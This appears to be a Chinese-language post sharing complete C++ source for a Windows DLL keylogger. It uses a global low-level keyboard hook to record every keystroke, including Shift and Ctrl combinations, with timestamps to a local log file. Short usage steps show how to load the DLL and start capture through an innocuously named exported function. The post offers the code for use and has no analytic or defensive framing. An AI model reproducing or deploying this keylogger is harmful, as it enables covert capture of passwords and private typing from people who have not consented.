键盘钩子 C++ HOOK 超级好用
使用方法
1、定义头文件
#ifdef DLLEXPORT
#define BAPI extern"C" __declspec(dllexport)
#else
#define BAPI extern"C" __declspec(dllimport)
#endif
BAPI void HelloZB();
2、添加库文件(使用DLL生成的LIB文件)
3、调用函数
HelloZB();
DLL C++代码
#include <windows.h>
#include <stdio.h>
HINSTANCE hins = NULL;
HHOOK MaiNHook = NULL;
BYTE kso[1024];
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
hins = (HINSTANCE)hModule;
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
GetKeyboardState(kso);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
#define DLLEXPORT
#ifdef DLLEXPORT
#define BAPI extern"C" __declspec(dllexport)
#else
#define BAPI extern"C" __declspec(dllimport)
#endif
BAPI void HelloZB();
const char savefilename[] = "ZBMAKE_KeyString.log";
void OutFile( char* str, int len)
{
FILE* f = fopen(savefilename, "ab+");
if (f) {
fwrite(str, 1, len, f);
fclose(f);
}
}
void getTime(char* Caption)
{
LPSYSTEMTIME time = new SYSTEMTIME();
char pStr[255];
GetLocalTime(time);
sprintf(pStr, "\n>>>%s--[ %04d-%02d-%02d %02d:%02d:%02d ]-->>>\n", Caption,
time->wYear,
time->wMonth,
time->wDay,
time->wHour,
time->wMinute,
time->wSecond);
OutFile(pStr, strlen(pStr));
return;
}
const char DXDATA[] = "QWERTYUIOPASDFGHJKLZXCVBNM";
const char XXDATA[] = "qwertyuiopasdfghjklzxcvbnm";
const char SELFDATA[] = "QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm0123456789/*-+.`~!@#$%^&*()_+,./<>?;'\\:\"|[]{}";
char toDX(char c)
{
int len = strlen(DXDATA);
int i = 0;
for (i = 0; i < len; i++) {
if (XXDATA[i] == c) {
return DXDATA[i];
}
}
return c;
}
char toXX(char c)
{
int len = strlen(DXDATA);
int i = 0;
for (i = 0; i < len; i++) {
if (DXDATA[i] == c) {
return XXDATA[i];
}
}
return c;
}
char selfchar(char c)
{
int len = strlen(SELFDATA);
int i = 0;
for (i = 0; i < len; i++) {
if (SELFDATA[i] == c) {
return c;
}
}
return 0;
}
char getnowch( char c )
{
c= selfchar(c);
if (c == 0) return 0;
int caps = GetKeyState(VK_CAPITAL);
int shiftL = GetKeyState(VK_SHIFT);
bool shift_bool = ((shiftL >> 4) & 0x0000000F) == 0x00000008;
bool caps_bool = (caps & 0x0000000F) == 0x00000001;
bool dxx = caps_bool^shift_bool;
char newch = c;
if (dxx) {
newch = toDX(c);
}
else {
newch = toXX(c);
}
return newch;
}
LRESULT keyproc(int code, WPARAM wParam, LPARAM lParam)
{
KBDLLHOOKSTRUCT *ks = (KBDLLHOOKSTRUCT*)lParam;
WORD w;
UINT scan = 0;
ToAscii(ks->vkCode, ks->scanCode, kso, &w, 0);
w &= 0x00FF;
printf("%02X\n",w);
char buf[15];
int buflen = 0;
int shiftL = GetKeyState(VK_SHIFT);
bool shift_bool = ((shiftL >> 4) & 0x0000000F) == 0x00000008;
int ctrl = GetKeyState(VK_CONTROL);
bool ctrl_bool = ((ctrl >> 4) & 0x0000000F) == 0x00000008;
if (w == 0x0D) {
buf[0] = '<';
buf[1] = 'L';
buf[2] = 'I';
buf[3] = 'N';
buf[4] = 'E';
buf[5] = '>';
buf[6] = 0;
buflen = 6;
if (wParam == WM_KEYDOWN) {
getTime(buf);
}
buflen = 0;
}
else if (w == 0x08) {
buf[0] = '<';
buf[1] = 'B';
buf[2] = 'A';
buf[3] = 'C';
buf[4] = 'K';
buf[5] = '>';
buf[6] = 0;
buflen = 6;
}
else if (shift_bool) {
buf[0] = '<';
buf[1] = 'S';
buf[2] = 'H';
buf[3] = 'I';
buf[4] = 'F';
buf[5] = 'T';
buf[6] = '[';
buf[7] = w;
buf[8] = ']';
buf[9] = '>';
buf[10] = 0;
buflen = 10;
}
else if (ctrl_bool) {
buf[0] = '<';
buf[1] = 'C';
buf[2] = 'T';
buf[3] = 'R';
buf[4] = 'L';
buf[5] = '[';
buf[6] = w;
buf[7] = ']';
buf[8] = '>';
buf[9] = 0;
buflen = 9;
}
else {
w = getnowch(w);
buf[0] = w;
buf[1] = 0;
buflen = 1;
}
if ( (w != 0) && (wParam == WM_KEYDOWN) ) {
OutFile(buf, buflen);
}
return CallNextHookEx(MaiNHook, code, wParam, lParam);
}
BAPI void HelloZB()
{
MaiNHook = SetWindowsHookExA(WH_KEYBOARD_LL, (HOOKPROC)keyproc, hins, 0);
if (MaiNHook != NULL) {
MessageBeep(0);
getTime("FIRST-START");
}
}
|